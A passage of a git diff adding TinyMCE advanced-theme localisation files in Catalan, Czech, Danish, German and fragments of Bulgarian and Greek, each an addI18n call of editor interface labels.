\u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441?","link_titlefield":"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435","link_target_blank":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430\u0442\u0430 \u0432 \u043d\u043e\u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446","link_target_same":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430\u0442\u0430 \u0432 \u0441\u044a\u0449\u0438\u044f\u0442 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446","link_target":"\u0426\u0435\u043b","link_url":"URL \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","image_align_right":"\u0414\u044f\u0441\u043d\u043e","image_align_left":"\u041b\u044f\u0432\u043e","image_align_textbottom":"\u0422\u0435\u043a\u0441\u0442 \u0434\u043e\u043b\u0443","image_align_texttop":"\u0422\u0435\u043a\u0441\u0442 \u0433\u043e\u0440\u0435","image_align_bottom":"\u0414\u043e\u043b\u0443","image_align_middle":"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u0435","image_align_top":"\u0413\u043e\u0440\u0435","image_align_baseline":"\u0411\u0430\u0437\u043e\u0432\u0430 \u043b\u0438\u043d\u0438\u044f","image_align":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435","image_hspace":"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435","image_vspace":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435","image_dimensions":"\u0420\u0430\u0437\u043c\u0435\u0440\u0438","image_alt":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","image_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438","image_border":"\u0420\u0430\u043c\u043a\u0430","image_src":"URL \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","image_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","charmap_title":"\u0418\u0437\u0431\u0435\u0440\u0435\u0442\u0435 \u0441\u0438\u043c\u0432\u043e\u043b","colorpicker_name":"\u0418\u043c\u0435:","colorpicker_color":"\u0426\u0432\u044f\u0442:","colorpicker_named_title":"\u0418\u043c\u0435\u043d\u0443\u0432\u0430\u043d\u0438 \u0446\u0432\u0435\u0442\u043e\u0432\u0435","colorpicker_named_tab":"\u0418\u043c\u0435\u043d\u0443\u0432\u0430\u043d\u0438","colorpicker_palette_title":"\u0426\u0432\u0435\u0442\u043e\u0432\u0430 \u043f\u0430\u043b\u0438\u0442\u0440\u0430","colorpicker_palette_tab":"\u041f\u0430\u043b\u0438\u0442\u0440\u0430","colorpicker_picker_title":"\u0418\u0437\u0431\u043e\u0440 \u043d\u0430 \u0446\u0432\u044f\u0442","colorpicker_picker_tab":"\u0418\u0437\u0431\u043e\u0440","colorpicker_title":"\u0418\u0437\u0431\u0435\u0440\u0435\u0442\u0435 \u0446\u0432\u044f\u0442","code_wordwrap":"\u041f\u0440\u0435\u043d\u043e\u0441 \u043d\u0430 \u0434\u0443\u043c\u0438","code_title":"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 \u043d\u0430 HTML","anchor_name":"\u0418\u043c\u0435 \u043d\u0430 \u043a\u043e\u0442\u0432\u0430\u0442\u0430","anchor_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u043e\u0442\u0432\u0430","about_loaded":"\u0417\u0430\u0440\u0435\u0434\u0435\u043d\u0438 \u0434\u043e\u0431\u0430\u0432\u043a\u0438","about_version":"\u0412\u0435\u0440\u0441\u0438\u044f","about_author":"\u0410\u0432\u0442\u043e\u0440","about_plugin":"\u0414\u043e\u0431\u0430\u0432\u043a\u0430","about_plugins":"\u0414\u043e\u0431\u0430\u0432\u043a\u0438","about_license":"\u041b\u0438\u0446\u0435\u043d\u0437","about_help":"\u041f\u043e\u043c\u043e\u0449","about_general":"\u041e\u0442\u043d\u043e\u0441\u043d\u043e","about_title":"\u041e\u0442\u043d\u043e\u0441\u043d\u043e TinyMCE","charmap_usage":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 \u0441\u0442\u0440\u0435\u043b\u043a\u0438\u0442\u0435 \u043d\u0430\u043b\u044f\u0432\u043e \u0438 \u043d\u0430\u0434\u044f\u0441\u043d\u043e, \u0437\u0430 \u0434\u0430 \u043d\u0430\u0432\u0438\u0433\u0438\u0440\u0430\u0442\u0435.","anchor_invalid":"\u041c\u043e\u043b\u044f \u0437\u0430\u0434\u0430\u0439\u0442\u0435 \u0432\u0430\u043b\u0438\u0434\u043d\u043e \u0438\u043c\u0435 \u0437\u0430 \u043a\u043e\u0442\u0432\u0430.","accessibility_help":"\u041f\u043e\u043c\u043e\u0449 \u0437\u0430 \u0434\u043e\u0441\u0442\u044a\u043f\u043d\u043e\u0441\u0442","accessibility_usage_title":"\u041e\u0431\u0449\u0430 \u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ca.js b/js/tiny_mce/themes/advanced/langs/ca.js new file mode 100755 index 0000000..4e4be8e --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ca.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advanced',{"underline_desc":"Subratllat (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negreta (Ctrl+B)",dd:"Descripci\u00f3 de definici\u00f3",dt:"Terme de definici\u00f3 ",samp:"Mostra el Codi",code:"Codi",blockquote:"Citabloc",h6:"Encap\u00e7alament 6",h5:"Encap\u00e7alament 5",h4:"Encap\u00e7alament 4",h3:"Encap\u00e7alament 3",h2:"Encap\u00e7alament 2",h1:"Encap\u00e7alament 1",pre:"Preformatat",address:"Adre\u00e7a",div:"Capa",paragraph:"Par\u00e0graf",block:"Format",fontdefault:"Fam\u00edlia de font","font_size":"Mida de font","style_select":"Estils","more_colors":"M\u00e9s colors","toolbar_focus":"Salta als botons d\'eina - Alt Q, Salta a l\'editor - Alt-Z, Salta al cam\u00ed de l\'element - Alt-X",newdocument:"Esteu segur que voleu buidar tots els continguts?",path:"Cam\u00ed","clipboard_msg":"Copia/Retalla/Enganxa no es troba disponible ni al Mozilla ni al Firefox. Voleu m\u00e9s informaci\u00f3 sobre aix\u00f2?","blockquote_desc":"Citabloc","help_desc":"Ajuda","newdocument_desc":"Nou document","image_props_desc":"Propietats de la imatge","paste_desc":"Enganxa","copy_desc":"Copia","cut_desc":"Retalla","anchor_desc":"Insereix/edita \u00e0ncora","visualaid_desc":"Commuta elements guies/invisibles","charmap_desc":"Insereix un car\u00e0cter","backcolor_desc":"Selecci\u00f3 del color de fons","forecolor_desc":"Selecci\u00f3 del color de text","custom1_desc":"Aqu\u00ed la vostra pr\u00f2pia descripci\u00f3","removeformat_desc":"Elimina el format","hr_desc":"Insereix un filet horitzontal","sup_desc":"Super\u00edndex","sub_desc":"Sub\u00edndex","code_desc":"Edita el codi font HTML","cleanup_desc":"Poleix el codi","image_desc":"Insereix/edita imatge","unlink_desc":"Desenlla\u00e7a","link_desc":"Insereix/edita enlla\u00e7","redo_desc":"Ref\u00e9s (Ctrl+Y)","undo_desc":"Desf\u00e9s (Ctrl+Z)","indent_desc":"Augmenta el sagnat","outdent_desc":"Redueix el sagnat","numlist_desc":"Llista numerada","bullist_desc":"Llista no numerada","justifyfull_desc":"Justificat","justifyright_desc":"Alineaci\u00f3 dreta","justifycenter_desc":"Alineaci\u00f3 al centre","justifyleft_desc":"Alineaci\u00f3 esquerra","striketrough_desc":"Barrat","help_shortcut":"Prem ALT-F10 per barra d\'eines. Prem ALT-0 per ajuda","rich_text_area":"\u00c0rea de Text Enriquit","shortcuts_desc":"Ajuda d\'Accessabilitat",toolbar:"Barra d\'eines","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ca_dlg.js b/js/tiny_mce/themes/advanced/langs/ca_dlg.js new file mode 100755 index 0000000..d1b3776 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advanced_dlg',{"link_list":"Llista d\'enlla\u00e7os","link_is_external":"L\'URL que heu introdu\u00eft sembla ser un enlla\u00e7 extern, voleu afegir-hi el prefix requerit http:// ?","link_is_email":"L\'URL que heu introdu\u00eft sembla ser una adre\u00e7a de correu, voleu afegir-hi el prefix requerit mailto: ?","link_titlefield":"T\u00edtol","link_target_blank":"Obre l\'enlla\u00e7 a una nova finestra","link_target_same":"Obre l\'enlla\u00e7 a la mateixa finestra","link_target":"Dest\u00ed","link_url":"URL de l\'enlla\u00e7","link_title":"Insereix/edita enlla\u00e7","image_align_right":"Dreta","image_align_left":"Esquerra","image_align_textbottom":"Part inferior del text","image_align_texttop":"Part superior del text","image_align_bottom":"A baix","image_align_middle":"Al Mig","image_align_top":"A dalt","image_align_baseline":"L\u00ednia de base","image_align":"Alineaci\u00f3","image_hspace":"Espai horitzontal","image_vspace":"Espai vertical","image_dimensions":"Dimensions","image_alt":"Descripci\u00f3 de la imatge","image_list":"Llista de la imatge","image_border":"Vora","image_src":"URL de la imatge","image_title":"Insereix/edita imatge","charmap_title":"Selecci\u00f3 de car\u00e0cter","colorpicker_name":"Nom:","colorpicker_color":"Color:","colorpicker_named_title":"Colors pel seu nom","colorpicker_named_tab":"Per nom","colorpicker_palette_title":"Paleta de colors","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Capturador de color","colorpicker_picker_tab":"Capturador","colorpicker_title":"Selecci\u00f3 de color","code_wordwrap":"Embolcall de paraula","code_title":"Editor de codi font HTML","anchor_name":"Nom de l\'\u00e0ncora","anchor_title":"Insereix/edita \u00e0ncora","about_loaded":"Connectors carregats","about_version":"Versi\u00f3","about_author":"Autor","about_plugin":"Connector","about_plugins":"Connectors","about_license":"Llic\u00e8ncia","about_help":"Ajuda","about_general":"Quant a","about_title":"Quant al TinyMCE","charmap_usage":"Feu servir fletxes esquerra i dreta per navegar","anchor_invalid":"Sisplau, especifiqueu un nom d\'\u00e0ncora v\u00e0lid.","accessibility_help":"Ajuda d\'accessibilitat","accessibility_usage_title":"Us general","invalid_color_value":"Valor de color inv\u00e0lid"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/cs.js b/js/tiny_mce/themes/advanced/langs/cs.js new file mode 100755 index 0000000..f94e356 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/cs.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advanced',{"underline_desc":"Podtr\u017een\u00e9 (Ctrl+U)","italic_desc":"Kurz\u00edva (Ctrl+I)","bold_desc":"Tu\u010dn\u00e9 (Ctrl+B)",dd:"Popis definice",dt:"Term\u00edn definice",samp:"Uk\u00e1zka k\u00f3du",code:"K\u00f3d",blockquote:"Blokov\u00e1 citace",h6:"Nadpis 6",h5:"Nadpis 5",h4:"Nadpis 4",h3:"Nadpis 3",h2:"Nadpis 2",h1:"Nadpis 1",pre:"P\u0159edform\u00e1tov\u00e1no",address:"Adresa",div:"Odd\u00edl",paragraph:"Odstavec",block:"Form\u00e1t",fontdefault:"P\u00edsmo","font_size":"Velikost p\u00edsma","style_select":"Styly","more_colors":"Dal\u0161\u00ed barvy","toolbar_focus":"P\u0159echod na panel n\u00e1stroj\u016f - Alt-Q, p\u0159echod do editoru - Alt-Z, p\u0159echod na cestu prvk\u016f - Alt-X",newdocument:"Jste si opravdu jisti, \u017ee chcete odstranit ve\u0161ker\u00fd obsah?",path:"Cesta","clipboard_msg":"Funkce kop\u00edrovat/vyjmout/vlo\u017eit nejsou podporovan\u00e9 v prohl\u00ed\u017ee\u010d\u00edch Mozilla a Firefox.\nChcete v\u00edce informac\u00ed o tomto probl\u00e9mu?","blockquote_desc":"Blokov\u00e1 citace","help_desc":"N\u00e1pov\u011bda","newdocument_desc":"Nov\u00fd dokument","image_props_desc":"Vlastnosti obr\u00e1zku","paste_desc":"Vlo\u017eit","copy_desc":"Kop\u00edrovat","cut_desc":"Vyjmout","anchor_desc":"Vlo\u017eit/upravit z\u00e1lo\u017eku (kotvu)","visualaid_desc":"Zobrazit pomocn\u00e9 linky/skryt\u00e9 prvky","charmap_desc":"Vlo\u017eit speci\u00e1ln\u00ed znak","backcolor_desc":"Barva pozad\u00ed","forecolor_desc":"Barva textu","custom1_desc":"Libovoln\u00fd popisek","removeformat_desc":"Odstranit form\u00e1tov\u00e1n\u00ed","hr_desc":"Vlo\u017eit vodorovn\u00fd odd\u011blova\u010d","sup_desc":"Horn\u00ed index","sub_desc":"Doln\u00ed index","code_desc":"Upravit HTML zdroj","cleanup_desc":"Vy\u010distit k\u00f3d","image_desc":"Vlo\u017eit/upravit obr\u00e1zek","unlink_desc":"Odebrat odkaz","link_desc":"Vlo\u017eit/upravit odkaz","redo_desc":"Znovu (Ctrl+Y)","undo_desc":"Zp\u011bt (Ctrl+Z)","indent_desc":"Zv\u011bt\u0161it odsazen\u00ed","outdent_desc":"Zmen\u0161it odsazen\u00ed","numlist_desc":"\u010c\u00edslovan\u00fd seznam","bullist_desc":"Seznam s odr\u00e1\u017ekami","justifyfull_desc":"Zarovnat do bloku","justifyright_desc":"Zarovnat doprava","justifycenter_desc":"Zarovnat na st\u0159ed","justifyleft_desc":"Zarovnat doleva","striketrough_desc":"P\u0159e\u0161krtnut\u00e9","help_shortcut":"Stiskn\u011bte ALT-F10 pro panel n\u00e1stroj\u016f. Stiskn\u011bte ALT-0 pro n\u00e1pov\u011bdu.","rich_text_area":"Oblast s form\u00e1tovan\u00fdm textem","shortcuts_desc":"N\u00e1pov\u011bda",toolbar:"Panel n\u00e1stroj\u016f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/cs_dlg.js b/js/tiny_mce/themes/advanced/langs/cs_dlg.js new file mode 100755 index 0000000..35c165a --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advanced_dlg',{"link_list":"Seznam odkaz\u016f","link_is_external":"Zadan\u00e9 URL vypad\u00e1 jako extern\u00ed odkaz, chcete doplnit povinn\u00fd prefix http://?","link_is_email":"Zadan\u00e9 URL vypad\u00e1 jako e-mailov\u00e1 adresa, chcete doplnit povinn\u00fd prefix mailto:?","link_titlefield":"Titulek","link_target_blank":"Otev\u0159\u00edt odkaz v nov\u00e9m okn\u011b","link_target_same":"Otev\u0159\u00edt odkaz ve stejn\u00e9m okn\u011b","link_target":"C\u00edl","link_url":"URL odkazu","link_title":"Vlo\u017eit/upravit odkaz","image_align_right":"Vpravo","image_align_left":"Vlevo","image_align_textbottom":"Se spodkem \u0159\u00e1dku","image_align_texttop":"S vrchem \u0159\u00e1dku","image_align_bottom":"Dol\u016f","image_align_middle":"Na st\u0159ed \u0159\u00e1dku","image_align_top":"Nahoru","image_align_baseline":"Na z\u00e1kladnu","image_align":"Zarovn\u00e1n\u00ed","image_hspace":"Horizont\u00e1ln\u00ed odsazen\u00ed","image_vspace":"Vertik\u00e1ln\u00ed odsazen\u00ed","image_dimensions":"Rozm\u011bry","image_alt":"Popis obr\u00e1zku","image_list":"Seznam obr\u00e1zk\u016f","image_border":"R\u00e1me\u010dek","image_src":"URL obr\u00e1zku","image_title":"Vlo\u017eit/upravit obr\u00e1zek","charmap_title":"Vlo\u017eit speci\u00e1ln\u00ed znak","colorpicker_name":"N\u00e1zev:","colorpicker_color":"Vybran\u00e1 barva:","colorpicker_named_title":"Pojmenovan\u00e9 barvy","colorpicker_named_tab":"N\u00e1zvy","colorpicker_palette_title":"Paleta barev","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Kap\u00e1tko","colorpicker_picker_tab":"Kap\u00e1tko","colorpicker_title":"V\u00fdb\u011br barvy","code_wordwrap":"Zalamov\u00e1n\u00ed \u0159\u00e1dk\u016f","code_title":"Editor HTML","anchor_name":"N\u00e1zev z\u00e1lo\u017eky","anchor_title":"Vlo\u017eit/upravit z\u00e1lo\u017eku (kotvu)","about_loaded":"Na\u010dten\u00e9 z\u00e1suvn\u00e9 moduly","about_version":"Verze","about_author":"Autor","about_plugin":"Z\u00e1suvn\u00fd modul","about_plugins":"Z\u00e1suvn\u00e9 moduly","about_license":"Licence","about_help":"N\u00e1pov\u011bda","about_general":"O programu","about_title":"O TinyMCE","charmap_usage":"Pro navigaci pou\u017eijte \u0161ipky vlevo a vpravo.","anchor_invalid":"Zadejte, pros\u00edm, platn\u00fd n\u00e1zev z\u00e1lo\u017eky (kotvy).","accessibility_help":"N\u00e1pov\u011bda pro p\u0159\u00edstupnost","accessibility_usage_title":"Obecn\u00e9 pou\u017eit\u00ed","invalid_color_value":"Neplatn\u00fd k\u00f3d barvy"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/da.js b/js/tiny_mce/themes/advanced/langs/da.js new file mode 100755 index 0000000..3d5fb8b --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/da.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advanced',{"underline_desc":"Understreget (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fed (Ctrl+B)",dd:"Definitionsbeskrivelse",dt:"Definitionsterm ",samp:"Kodeeksempel",code:"Kode",blockquote:"Blokcitat",h6:"Overskrift 6",h5:"Overskrift 5",h4:"Overskrift 4",h3:"Overskrift 3",h2:"Overskrift 2",h1:"Overskrift 1",pre:"Pr\u00e6formatteret",address:"Adresse",div:"Div",paragraph:"Afsnit",block:"Format",fontdefault:"Skrifttype","font_size":"Skriftst\u00f8rrelse","style_select":"Typografier","more_colors":"Flere farver","toolbar_focus":"Hop til v\u00e6rkt\u00f8jsknapper - Alt+Q, Skift til redigering - Alt-Z, Skift til element sti - Alt-X",newdocument:"Er du sikker p\u00e5 du vil slette alt indhold?",path:"Sti","clipboard_msg":"Kopier/Klip/inds\u00e6t er ikke muligt i Mozilla og Firefox.\nVil du have mere information om dette emne?","blockquote_desc":"Blokcitat","help_desc":"Hj\u00e6lp","newdocument_desc":"Nyt dokument","image_props_desc":"Billedegenskaber","paste_desc":"Inds\u00e6t","copy_desc":"Kopier","cut_desc":"Klip","anchor_desc":"Inds\u00e6t/rediger anker","visualaid_desc":"Sl\u00e5 hj\u00e6lp/synlige elementer til/fra","charmap_desc":"Inds\u00e6t specialtegn","backcolor_desc":"V\u00e6lg baggrundsfarve","forecolor_desc":"V\u00e6lg tekstfarve","custom1_desc":"Din egen beskrivelse her","removeformat_desc":"Fjern formatering","hr_desc":"Inds\u00e6t horisontal linie","sup_desc":"H\u00e6vet skrift","sub_desc":"S\u00e6nket skrift","code_desc":"Rediger HTML-kilde","cleanup_desc":"Ryd op i uordentlig kode","image_desc":"Inds\u00e6t/rediger billede","unlink_desc":"Fjern link","link_desc":"Inds\u00e6t/rediger link","redo_desc":"Gendan (Ctrl+Y)","undo_desc":"Fortryd (Ctrl+Z)","indent_desc":"\u00d8g indrykning","outdent_desc":"Formindsk indrykning","numlist_desc":"Nummereret punktopstilling","bullist_desc":"Unummereret punktopstilling","justifyfull_desc":"Lige marginer","justifyright_desc":"H\u00f8jrejusteret","justifycenter_desc":"Centreret","justifyleft_desc":"Venstrejusteret","striketrough_desc":"Gennemstreget","help_shortcut":"Tryk ALT-F10 for v\u00e6rkt\u00f8jslinie. Tryk ALT-0 for hj\u00e6lp","rich_text_area":"Tekstomr\u00e5de med formatering","shortcuts_desc":"Hj\u00e6lp til tilg\u00e6ngelighed",toolbar:"V\u00e6rkt\u00f8jslinie","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/da_dlg.js b/js/tiny_mce/themes/advanced/langs/da_dlg.js new file mode 100755 index 0000000..419e5dd --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advanced_dlg',{"link_list":"Liste over links","link_is_external":"Den URL, der er indtastet, ser ud til at v\u00e6re et eksternt link. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede http:// foran?","link_is_email":"Den URL, der er indtastet, ser ud til at v\u00e6re en emailadresse. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede mailto: foran?","link_titlefield":"Titel","link_target_blank":"\u00c5ben link i nyt vindue","link_target_same":"\u00c5ben link i samme vindue","link_target":"Target","link_url":"Link URL","link_title":"Inds\u00e6t/rediger link","image_align_right":"H\u00f8jre","image_align_left":"Venstre","image_align_textbottom":"Tekst bunden","image_align_texttop":"Tekst toppen","image_align_bottom":"Bunden","image_align_middle":"Centreret","image_align_top":"Toppen","image_align_baseline":"Grundlinie","image_align":"Justering","image_hspace":"Horisontal afstand","image_vspace":"Vertikal afstand","image_dimensions":"Dimensioner","image_alt":"Billedbeskrivelse","image_list":"Liste over billeder","image_border":"Kant","image_src":"Billede URL","image_title":"Inds\u00e6t/rediger billede","charmap_title":"V\u00e6lg specialtegn","colorpicker_name":"Navn:","colorpicker_color":"Farve:","colorpicker_named_title":"Navngivet farve","colorpicker_named_tab":"Navngivet","colorpicker_palette_title":"Palette-farver","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Farvev\u00e6lger","colorpicker_picker_tab":"V\u00e6lger","colorpicker_title":"V\u00e6lg en farve","code_wordwrap":"Tekstombrydning","code_title":"HTML kildekode-redigering","anchor_name":"Navn p\u00e5 anker","anchor_title":"Inds\u00e6t/rediger anker","about_loaded":"Indl\u00e6ste udvidelser","about_version":"Version","about_author":"Forfatter","about_plugin":"Udvidelse","about_plugins":"Udvidelser","about_license":"Licens","about_help":"Hj\u00e6lp","about_general":"Om","about_title":"Om TinyMCE","charmap_usage":"Brug venstre og h\u00f8jre piletaster til at navigere","anchor_invalid":"Angiv venligst et gyldigt anker navn.","accessibility_help":"Tilg\u00e6ngeligheds hj\u00e6lp","accessibility_usage_title":"Generel brug"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/de.js b/js/tiny_mce/themes/advanced/langs/de.js new file mode 100755 index 0000000..034195c --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/de.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advanced',{"underline_desc":"Unterstrichen (Strg+U)","italic_desc":"Kursiv (Strg+I)","bold_desc":"Fett (Strg+B)",dd:"Definitionsbeschreibung",dt:"Definitionsbegriff",samp:"Beispiel",code:"Code",blockquote:"Zitatblock",h6:"\u00dcberschrift 6",h5:"\u00dcberschrift 5",h4:"\u00dcberschrift 4",h3:"\u00dcberschrift 3",h2:"\u00dcberschrift 2",h1:"\u00dcberschrift 1",pre:"Rohdaten",address:"Adresse",div:"Zusammenh\u00e4ngender Bereich",paragraph:"Absatz",block:"Vorlage",fontdefault:"Schriftart","font_size":"Schriftgr\u00f6\u00dfe","style_select":"Format","anchor_delta_width":"13","more_colors":"Weitere Farben","toolbar_focus":"Zur Werkzeugleiste springen: Alt+Q; Zum Editor springen: Alt-Z; Zum Elementpfad springen: Alt-X",newdocument:"Wollen Sie wirklich den ganzen Inhalt l\u00f6schen?",path:"Pfad","clipboard_msg":"Kopieren, Ausschneiden und Einf\u00fcgen sind im Mozilla Firefox nicht m\u00f6glich.\nWollen Sie mehr \u00fcber dieses Problem erfahren?","blockquote_desc":"Zitatblock","help_desc":"Hilfe","newdocument_desc":"Neues Dokument","image_props_desc":"Bildeigenschaften","paste_desc":"Einf\u00fcgen","copy_desc":"Kopieren","cut_desc":"Ausschneiden","anchor_desc":"Anker einf\u00fcgen/ver\u00e4ndern","visualaid_desc":"Hilfslinien und unsichtbare Elemente ein-/ausblenden","charmap_desc":"Sonderzeichen einf\u00fcgen","backcolor_desc":"Hintergrundfarbe","forecolor_desc":"Textfarbe","custom1_desc":"Benutzerdefinierte Beschreibung","removeformat_desc":"Formatierungen zur\u00fccksetzen","hr_desc":"Trennlinie einf\u00fcgen","sup_desc":"Hochgestellt","sub_desc":"Tiefgestellt","code_desc":"HTML-Quellcode bearbeiten","cleanup_desc":"Quellcode aufr\u00e4umen","image_desc":"Bild einf\u00fcgen/ver\u00e4ndern","unlink_desc":"Link entfernen","link_desc":"Link einf\u00fcgen/ver\u00e4ndern","redo_desc":"Wiederholen (Strg+Y)","undo_desc":"R\u00fcckg\u00e4ngig (Strg+Z)","indent_desc":"Einr\u00fccken","outdent_desc":"Ausr\u00fccken","numlist_desc":"Sortierte Liste","bullist_desc":"Unsortierte Liste","justifyfull_desc":"Blocksatz","justifyright_desc":"Rechtsb\u00fcndig","justifycenter_desc":"Zentriert","justifyleft_desc":"Linksb\u00fcndig","striketrough_desc":"Durchgestrichen","help_shortcut":"Dr\u00fccken Sie ALT-F10 f\u00fcr die Toolbar. Dr\u00fccken Sie ALT-0 f\u00fcr Hilfe","rich_text_area":"Rich Text Feld","shortcuts_desc":"Eingabehilfe",toolbar:"Toolbar","anchor_delta_height":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/de_dlg.js b/js/tiny_mce/themes/advanced/langs/de_dlg.js new file mode 100755 index 0000000..d33ca1d --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advanced_dlg',{"link_list":"Linkliste","link_is_external":"Diese Adresse scheint ein externer Link zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"http://\" voranstellen?","link_is_email":"Diese Adresse scheint eine E-Mail-Adresse zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"mailto:\" voranstellen?","link_titlefield":"Titel","link_target_blank":"Neues Fenster \u00f6ffnen","link_target_same":"Im selben Fenster \u00f6ffnen","link_target":"Fenster","link_url":"Adresse","link_title":"Link einf\u00fcgen/ver\u00e4ndern","image_align_right":"Rechts","image_align_left":"Links","image_align_textbottom":"Unten im Text","image_align_texttop":"Oben im Text","image_align_bottom":"Unten","image_align_middle":"Mittig","image_align_top":"Oben","image_align_baseline":"Zeile","image_align":"Ausrichtung","image_hspace":"Horizontaler Abstand","image_vspace":"Vertikaler Abstand","image_dimensions":"Abmessungen","image_alt":"Alternativtext","image_list":"Bilderliste","image_border":"Rahmen","image_src":"Adresse","image_title":"Bild einf\u00fcgen/ver\u00e4ndern","charmap_title":"Sonderzeichen","colorpicker_name":"Name:","colorpicker_color":"Farbe:","colorpicker_named_title":"Benannte Farben","colorpicker_named_tab":"Benannte Farben","colorpicker_palette_title":"Farbpalette","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Farbwahl","colorpicker_picker_tab":"Farbwahl","colorpicker_title":"Farbe","code_wordwrap":"Automatischer Zeilenumbruch","code_title":"HTML-Quellcode bearbeiten","anchor_name":"Name des Ankers","anchor_title":"Anker einf\u00fcgen/ver\u00e4ndern","about_loaded":"Geladene Plugins","about_version":"Version","about_author":"Urheber","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Lizenzbedingungen","about_help":"Hilfe","about_general":"\u00dcber","about_title":"\u00dcber TinyMCE","charmap_usage":"Navigation mit linken und rechten Pfeilen.","anchor_invalid":"Bitte geben Sie einen g\u00fcltigen Namen f\u00fcr den Anker ein!","accessibility_help":"Eingabehilfe","accessibility_usage_title":"Allgemeine Verwendung","invalid_color_value":"Ung\u00fcltige Farbangabe"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/el.js b/js/tiny_mce/themes/advanced/langs/el.js new file mode 100755 index 0000000..3663ecc --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/el.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advanced',{"underline_desc":"\u03a5\u03c0\u03bf\u03b3\u03c1\u03b1\u03bc\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03b1 